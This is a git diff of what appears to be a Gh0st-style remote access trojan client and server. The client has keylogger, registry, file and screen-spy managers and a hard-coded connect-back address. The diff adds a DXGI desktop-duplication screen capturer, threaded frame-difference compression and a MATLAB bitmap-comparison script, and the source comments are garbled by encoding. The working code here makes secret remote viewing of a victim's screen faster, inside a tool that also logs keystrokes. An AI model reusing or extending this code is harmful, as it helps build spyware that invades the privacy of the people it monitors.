diff --git a/BmpDifference.m b/BmpDifference.m
new file mode 100644
index 0000000..85b25f5
--- /dev/null
+++ b/BmpDifference.m
@@ -0,0 +1,28 @@
+% 计算客户端和服务端的位图差异
+% MATLAB 8.1.0.604 (R2013a)
+clear all;clc;
+folder1=[pwd, '/client/bmp/']; % 客户端位图目录
+folder2=[pwd, '/server/2015Remote/bmp/']; % 服务端位图目录
+
+num1=numel(dir(fullfile(folder1, '*.bmp')));
+disp([folder1, ' BMP file count: ', num2str(num1)]);
+num2=numel(dir(fullfile(folder2, '*.bmp')));
+disp([folder2, ' BMP file count: ', num2str(num2)]);
+num = min(num1, num2);
+missing = 0;
+for i=1:num
+ file1 = sprintf('%sGHOST_%d.bmp', folder1, i);
+ file2 = sprintf('%sYAMA_%d.bmp', folder2, i);
+ if exist(file2, 'file') == 2
+ img1 = imread(file1);
+ img2 = imread(file2);
+ diff=double(img1)-double(img2);
+ s = sum(diff(:));
+ fprintf('BMP [%d] difference: %g\n', i, s);
+ else
+ fprintf('BMP [%d] difference: MISSING\n', i);
+ missing = missing + 1;
+ end
+end
+
+disp(missing);
diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 53db161..7af8292 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -15,7 +15,7 @@ using namespace std;
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
Mprintf("new CAudioManager %p\n", this);
diff --git a/client/AudioManager.h b/client/AudioManager.h
index 620e5a4..89d32a4 100644
--- a/client/AudioManager.h
+++ b/client/AudioManager.h
@@ -18,7 +18,7 @@ class CAudioManager : public CManager
public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
- CAudioManager(IOCPClient* ClientObject, int n);
+ CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index fa0687d..5275a11 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -20,7 +20,7 @@ using namespace std;
#define REG_NAME "a_ghost"
// Զ̵ַ
-CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
+CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
// Ӧó״̬1-ض˳ 2-ض˳ 3-
BOOL g_bExit = 0;
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index ab6336a..58a5840 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -200,6 +200,8 @@
+
+
diff --git a/client/Common.cpp b/client/Common.cpp
index e4c8ca3..99f6a14 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -56,7 +56,7 @@ template DWORD WINAPI LoopManager(LPVOID lParam)
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
- Manager m(ClientObject, n);
+ Manager m(ClientObject, n, pInfo->user);
ClientObject->RunEventLoop(pInfo->run);
}
delete ClientObject;
diff --git a/client/CursorInfo.h b/client/CursorInfo.h
index 6163c46..f343e6a 100644
--- a/client/CursorInfo.h
+++ b/client/CursorInfo.h
@@ -9,6 +9,9 @@
#pragma once
#endif // _MSC_VER > 1000
+#define ALGORITHM_GRAY 0
+#define ALGORITHM_DIFF 1
+
#define MAX_CURSOR_TYPE 16
class CCursorInfo
diff --git a/client/FileManager.cpp b/client/FileManager.cpp
index 290d920..2c0584a 100644
--- a/client/FileManager.cpp
+++ b/client/FileManager.cpp
@@ -14,7 +14,7 @@ typedef struct
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
+CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// б, ʼļ߳
diff --git a/client/FileManager.h b/client/FileManager.h
index 1c3635d..4c18449 100644
--- a/client/FileManager.h
+++ b/client/FileManager.h
@@ -30,7 +30,7 @@ class CFileManager : public CManager
public:
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
- CFileManager(CClientSocket *pClient, int h = 0);
+ CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
virtual ~CFileManager();
private:
list m_UploadList;
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index d6a51ce..6a847b5 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -6,7 +6,7 @@
#include "IOCPClient.h"
#include
#if USING_ZLIB
-#include "zlib.h"
+#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 65a6e43..e6ec717 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -177,6 +177,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SCREEN_SPY:
{
+ m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
diff --git a/client/KernelManager.h b/client/KernelManager.h
index 3736993..bfd53b0 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -20,7 +20,8 @@ struct ThreadInfo
BOOL run;
HANDLE h;
IOCPClient *p;
- ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
+ void* user;
+ ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
};
class CKernelManager : public CManager
diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
index 74e8bb4..9e2cb4f 100644
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -16,7 +16,7 @@ using namespace std;
#define FILE_PATH "\\MODIf.html"
#define CAPTION_SIZE 1024
-CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
+CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
{
sendStartKeyBoard();
WaitForDialogOpen();
diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h
index 72696cc..751d65f 100644
--- a/client/KeyboardManager.h
+++ b/client/KeyboardManager.h
@@ -14,7 +14,7 @@
class CKeyboardManager1 : public CManager
{
public:
- CKeyboardManager1(CClientSocket *pClient, int n=0);
+ CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
virtual ~CKeyboardManager1();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI KeyLogger(LPVOID lparam);
diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp
index 4197272..8c04d8f 100644
--- a/client/RegisterManager.cpp
+++ b/client/RegisterManager.cpp
@@ -11,7 +11,7 @@ using namespace std;
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);
diff --git a/client/RegisterManager.h b/client/RegisterManager.h
index f5240d6..8784b29 100644
--- a/client/RegisterManager.h
+++ b/client/RegisterManager.h
@@ -15,7 +15,7 @@
class CRegisterManager : public CManager
{
public:
- CRegisterManager(IOCPClient* ClientObject, int n);
+ CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID Find(char bToken, char *szPath);
diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h
new file mode 100644
index 0000000..656d09a
--- /dev/null
+++ b/client/ScreenCapture.h
@@ -0,0 +1,332 @@
+#pragma once
+#include "stdafx.h"
+#include
+#include "CursorInfo.h"
+#include "../common/commands.h"
+
+#define DEFAULT_GOP 0x7FFFFFFF
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+
+class ThreadPool {
+public:
+ // 캯̶߳
+ ThreadPool(size_t numThreads) : stop(false) {
+ for (size_t i = 0; i < numThreads; ++i) {
+ workers.emplace_back([this] {
+ while (true) {
+ std::function task;
+ {
+ std::unique_lock lock(this->queueMutex);
+ this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
+ if (this->stop && this->tasks.empty()) return;
+ task = std::move(this->tasks.front());
+ this->tasks.pop();
+ }
+
+ try {
+ task();
+ }
+ catch (...) {
+ // 쳣
+ }
+ }
+ });
+ }
+ }
+
+ // ̳߳
+ ~ThreadPool() {
+ {
+ std::unique_lock lock(queueMutex);
+ stop = true;
+ }
+ condition.notify_all();
+ for (std::thread& worker : workers)
+ worker.join();
+ }
+
+ // ύ
+ template
+ auto enqueue(F&& f) -> std::future {
+ using ReturnType = decltype(f());
+ auto task = std::make_shared>(std::forward(f));
+ std::future res = task->get_future();
+ {
+ std::unique_lock lock(queueMutex);
+ tasks.emplace([task]() { (*task)(); });
+ }
+ condition.notify_one();
+ return res;
+ }
+
+ void waitAll() {
+ std::unique_lock lock(queueMutex);
+ condition.wait(lock, [this] { return tasks.empty(); });
+ }
+
+private:
+ std::vector workers;
+ std::queue> tasks;
+
+ std::mutex queueMutex;
+ std::condition_variable condition;
+ std::atomic stop;
+};
+
+class ScreenCapture
+{
+public:
+ ThreadPool* m_ThreadPool; // ̳߳
+ BYTE* m_FirstBuffer; // һ֡
+ BYTE* m_RectBuffer; // ǰ
+ LPBYTE* m_BlockBuffers; // ֿ黺
+ ULONG* m_BlockSizes; // ֿ
+ int m_BlockNum; // ֿ
+
+ LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ
+ BYTE m_bAlgorithm; // Ļ㷨
+
+ ULONG m_ulFullWidth; // Ļ
+ ULONG m_ulFullHeight; // Ļ
+ bool m_bZoomed; // Ļ
+ double m_wZoom; // Ļű
+ double m_hZoom; // Ļű
+
+ int m_FrameID; // ֡
+ int m_GOP; // ؼ֡
+ bool m_SendKeyFrame; // ؼ֡
+
+ ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
+ m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF),
+ m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
+ m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){
+
+ m_BlockNum = 8;
+ m_ThreadPool = new ThreadPool(m_BlockNum);
+
+ //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС
+ //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ
+ DEVMODE devmode;
+ memset(&devmode, 0, sizeof(devmode));
+ devmode.dmSize = sizeof(DEVMODE);
+ devmode.dmDriverExtra = 0;
+ BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
+ m_ulFullWidth = devmode.dmPelsWidth;
+ m_ulFullHeight = devmode.dmPelsHeight;
+ int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
+ m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
+ m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
+ Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
+ m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
+
+ m_BlockBuffers = new LPBYTE[m_BlockNum];
+ m_BlockSizes = new ULONG[m_BlockNum];
+ for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
+ m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
+ }
+ }
+ virtual ~ScreenCapture(){
+ if (m_BitmapInfor_Full != NULL) {
+ delete[](char*)m_BitmapInfor_Full;
+ m_BitmapInfor_Full = NULL;
+ }
+ SAFE_DELETE_ARRAY(m_RectBuffer);
+
+ for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
+ SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
+ }
+ SAFE_DELETE_ARRAY(m_BlockBuffers);
+ SAFE_DELETE_ARRAY(m_BlockSizes);
+
+ SAFE_DELETE(m_ThreadPool);
+ }
+
+public:
+ //*************************************** ͼ㷨У *************************************
+ virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
+ DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
+
+ // Windows涨һɨռֽ4ı, DWORDȽ
+ LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
+ LPBYTE p = szBuffer;
+ ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
+ ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
+ for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
+ if (*p1 == *p2)
+ continue;
+ ULONG index = i;
+ LPDWORD pos1 = p1++, pos2 = p2++;
+ // мֵͬ
+ for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
+ ULONG ulCount = i - index;
+ memcpy(pos1, pos2, ulCount); // Ŀ
+
+ *(LPDWORD)(p) = index + startPostion;
+ *(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
+ p += 2 * sizeof(ULONG);
+ if (channel != 1) {
+ memcpy(p, pos2, ulCount);
+ p += ulCount;
+ }
+ else {
+ for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
+ LPBYTE src = (LPBYTE)pos2;
+ *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
+ }
+ }
+ }
+
+ return p - szBuffer;
+ }
+
+ //*************************************** ͼ㷨У *************************************
+ ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
+ DWORD ulCompareLength, BYTE algo) {
+
+ int N = m_BlockNum;
+ ULONG blockLength = ulCompareLength / N; // ÿĻֽ
+ ULONG remainingLength = ulCompareLength % N; // ʣֽ
+
+ std::vector> futures;
+ for (int blockY = 0; blockY < N; ++blockY) {
+ // 㵱ǰֽ
+ ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
+ // 㵱ǰʼλ
+ ULONG startPosition = blockY * blockLength;
+
+ futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
+ LPBYTE srcBlock = srcData + startPosition;
+ LPBYTE dstBlock = dstData + startPosition;
+ LPBYTE blockBuffer = m_BlockBuffers[blockY];
+
+ // ǰرȶݴС
+ return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
+ }));
+ }
+
+ // ȴɲȡֵ
+ for (auto& future : futures) {
+ future.get();
+ }
+
+ // ϲпIJϢ szBuffer
+ ULONG offset = 0;
+ for (int blockY = 0; blockY < N; ++blockY) {
+ memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
+ offset += m_BlockSizes[blockY];
+ }
+
+ return offset; // ػĴС
+ }
+
+ virtual int GetFrameID() const {
+ return m_FrameID;
+ }
+
+ virtual LPBYTE GetFirstBuffer() const {
+ return m_FirstBuffer;
+ }
+
+ virtual int GetBMPSize() const {
+ assert(m_BitmapInfor_Full);
+ return m_BitmapInfor_Full->bmiHeader.biSizeImage;
+ }
+
+ // 㷨+λ+
+ LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
+ BYTE algo = m_bAlgorithm;
+ int frameID = m_FrameID + 1;
+ bool keyFrame = (frameID % m_GOP == 0);
+ m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
+ LPBYTE data = m_RectBuffer + 1;
+ // дʹ㷨
+ memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
+
+ // дλ
+ POINT CursorPos;
+ GetCursorPos(&CursorPos);
+ CursorPos.x /= m_wZoom;
+ CursorPos.y /= m_hZoom;
+ memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
+
+ // д뵱ǰ
+ static CCursorInfo m_CursorInfor;
+ BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
+ memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
+ ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
+
+ // ֶɨȫĻ µλͼ뵽m_hDiffMemDC
+ LPBYTE nextData = ScanNextScreen();
+ if (nullptr == nextData) {
+ return nullptr;
+ }
+
+#if SCREENYSPY_IMPROVE
+ memcpy(data + offset, &++m_FrameID, sizeof(int));
+ offset += sizeof(int);
+#if SCREENSPY_WRITE
+ WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
+#endif
+#else
+ m_FrameID++;
+#endif
+
+ if (keyFrame)
+ {
+ *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
+ if (algo != ALGORITHM_GRAY)
+ {
+ memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
+ }
+ else
+ {
+ LPBYTE dst = data + offset, src = nextData;
+ for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) {
+ dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
+ }
+ }
+ memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
+ }
+ else {
+ *ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
+ }
+
+ return m_RectBuffer;
+ }
+
+ // Ļ㷨
+ virtual BYTE SetAlgorithm(int algo) {
+ BYTE oldAlgo = m_bAlgorithm;
+ m_bAlgorithm = algo;
+ return oldAlgo;
+ }
+
+ // λת
+ virtual void PointConversion(POINT& pt) const {
+ if (m_bZoomed) {
+ pt.x *= m_wZoom;
+ pt.y *= m_hZoom;
+ }
+ }
+
+ // ȡλͼṹϢ
+ virtual const LPBITMAPINFO& GetBIData() const {
+ return m_BitmapInfor_Full;
+ }
+
+public: // ӿ
+
+ // ȡһ֡Ļ
+ virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
+
+ // ȡһ֡Ļ
+ virtual LPBYTE ScanNextScreen() = 0;
+};
diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h
new file mode 100644
index 0000000..698121e
--- /dev/null
+++ b/client/ScreenCapturerDXGI.h
@@ -0,0 +1,182 @@
+#pragma once
+#include "stdafx.h"
+#include "ScreenCapture.h"
+#include "common/commands.h"
+
+// ֻҪ㰲װ Windows 8 SDK ߰汾 Windows SDKҵ dxgi1_2.h ɹ롣
+// Windows 8 °汾֧
+#include
+#include
+
+#pragma comment(lib, "d3d11.lib")
+
+// author: ChatGPT
+// update: 962914132@qq.com
+// DXGI 1.2IDXGIOutputDuplicationȴͳ GDI ͨ 3 10 ֮䣬ȡӲֱʺʹó
+class ScreenCapturerDXGI : public ScreenCapture {
+private:
+ ID3D11Device* d3dDevice = nullptr;
+ ID3D11DeviceContext* d3dContext = nullptr;
+ IDXGIOutputDuplication* deskDupl = nullptr;
+ ID3D11Texture2D* cpuTexture = nullptr;
+ BYTE* m_NextBuffer = nullptr;
+
+public:
+ ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() {
+ m_GOP = gop;
+ InitDXGI();
+ Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
+ }
+
+ ~ScreenCapturerDXGI() {
+ CleanupDXGI();
+
+ SAFE_DELETE_ARRAY(m_FirstBuffer);
+ SAFE_DELETE_ARRAY(m_NextBuffer);
+ SAFE_DELETE_ARRAY(m_RectBuffer);
+ }
+
+ void InitDXGI() {
+ // 1. D3D11 豸
+ D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
+
+ // 2. ȡ DXGI 豸
+ IDXGIDevice* dxgiDevice = nullptr;
+ d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
+
+ // 3. ȡ DXGI
+ IDXGIAdapter* dxgiAdapter = nullptr;
+ dxgiDevice->GetAdapter(&dxgiAdapter);
+
+ // 4. ȡ DXGI Ļ
+ IDXGIOutput* dxgiOutput = nullptr;
+ dxgiAdapter->EnumOutputs(0, &dxgiOutput);
+
+ // 5. ȡ DXGI 1
+ IDXGIOutput1* dxgiOutput1 = nullptr;
+ dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
+
+ // 6. Desktop Duplication
+ dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
+
+ // 7. ȡĻС
+ DXGI_OUTDUPL_DESC duplDesc;
+ deskDupl->GetDesc(&duplDesc);
+ m_ulFullWidth = duplDesc.ModeDesc.Width;
+ m_ulFullHeight = duplDesc.ModeDesc.Height;
+
+ // 8. CPU
+ D3D11_TEXTURE2D_DESC desc = {};
+ desc.Width = m_ulFullWidth;
+ desc.Height = m_ulFullHeight;
+ desc.MipLevels = 1;
+ desc.ArraySize = 1;
+ desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
+ desc.SampleDesc.Count = 1;
+ desc.Usage = D3D11_USAGE_STAGING;
+ desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
+ d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
+
+ // 9. ʼ BITMAPINFO
+ m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
+ memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
+ m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
+ m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
+ m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
+ m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
+ m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
+ m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
+ m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
+
+ // 10. Ļ
+ m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
+ m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
+ m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
+
+ // ͷ DXGI Դ
+ dxgiOutput1->Release();
+ dxgiOutput->Release();
+ dxgiAdapter->Release();
+ dxgiDevice->Release();
+ }
+
+ void CleanupDXGI() {
+ if (cpuTexture) cpuTexture->Release();
+ if (deskDupl) deskDupl->Release();
+ if (d3dContext) d3dContext->Release();
+ if (d3dDevice) d3dDevice->Release();
+ }
+
+ LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
+ int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
+ if (ret)
+ return nullptr;
+
+ m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
+ return m_FirstBuffer;
+ }
+
+ LPBYTE ScanNextScreen() override {
+ ULONG ulNextScreenLength = 0;
+ int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
+ if (ret)
+ return nullptr;
+
+ return m_NextBuffer;
+ }
+
+ virtual LPBYTE GetFirstBuffer() const {
+ return m_FirstBuffer + 1;
+ }
+
+private:
+ int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
+ // 1. ȡһ֡
+ IDXGIResource* desktopResource = nullptr;
+ DXGI_OUTDUPL_FRAME_INFO frameInfo;
+ HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
+ if (FAILED(hr)) {
+ return -1;
+ }
+
+ // 2. ȡ ID3D11Texture2D
+ ID3D11Texture2D* texture = nullptr;
+ hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
+ if (FAILED(hr)) {
+ deskDupl->ReleaseFrame();
+ return -2;
+ }
+
+ // 3. Ƶ CPU
+ d3dContext->CopyResource(cpuTexture, texture);
+
+ // 4. ͷ DXGI Դ
+ deskDupl->ReleaseFrame();
+ texture->Release();
+ desktopResource->Release();
+
+ // 5. ȡ
+ D3D11_MAPPED_SUBRESOURCE mapped;
+ hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
+ if (FAILED(hr)) {
+ return -3;
+ }
+
+ // 6. ݵֱת
+ BYTE* pData = (BYTE*)mapped.pData;
+ int rowSize = m_ulFullWidth * 4; // ÿеֽRGBA
+
+ for (int y = 0; y < m_ulFullHeight; y++) {
+ // Ŀ껺λãӵײ
+ int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
+ int srcIndex = y * mapped.RowPitch; // Direct3D ƫ
+ memcpy(buffer + destIndex, pData + srcIndex, rowSize);
+ }
+
+ // 7.
+ d3dContext->Unmap(cpuTexture, 0);
+
+ *frameSize = m_ulFullWidth * m_ulFullHeight * 4;
+ return 0;
+ }
+};
diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp
index 0908369..f679891 100644
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -14,6 +14,9 @@
#include
using namespace std;
+#include "ScreenSpy.h"
+#include "ScreenCapturerDXGI.h"
+
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -21,14 +24,29 @@ using namespace std;
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
-CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+bool IsWindows8orHigher() {
+ typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
+ HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
+ if (!hMod) return false;
+
+ RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
+ if (!rtlGetVersion) return false;
+
+ RTL_OSVERSIONINFOW rovi = { 0 };
+ rovi.dwOSVersionInfoSize = sizeof(rovi);
+ if (rtlGetVersion(&rovi) == 0) {
+ return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
+ }
+ return false;
+}
+
+CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
- m_ScreenSpyObject = new CScreenSpy(32);
-
- szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1];
+ bool DXGI = user;
+ m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32);
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
@@ -55,9 +73,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
const int sleep = 1000 / fps;// ʱ䣨ms
int c1 = 0; // ʱĴ
int c2 = 0; // ʱ̵Ĵ
- int s0 = sleep; // ֮֡ms
+ float s0 = sleep; // ֮֡ms
const int frames = fps; // ÿĻٶ
- const double alpha = 1.2; // fps
+ const float alpha = 1.03; // fps
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
@@ -65,6 +83,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
+ s0 = max(s0, 50); // ÿ20֡
+ s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) // ݺʱϳϲݽ϶
@@ -74,7 +94,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
- Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
+ Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0){ // ݺʱs0̣ʾϺûݰС
@@ -83,7 +103,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
- Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
+ Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
@@ -126,11 +146,6 @@ CScreenManager::~CScreenManager()
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
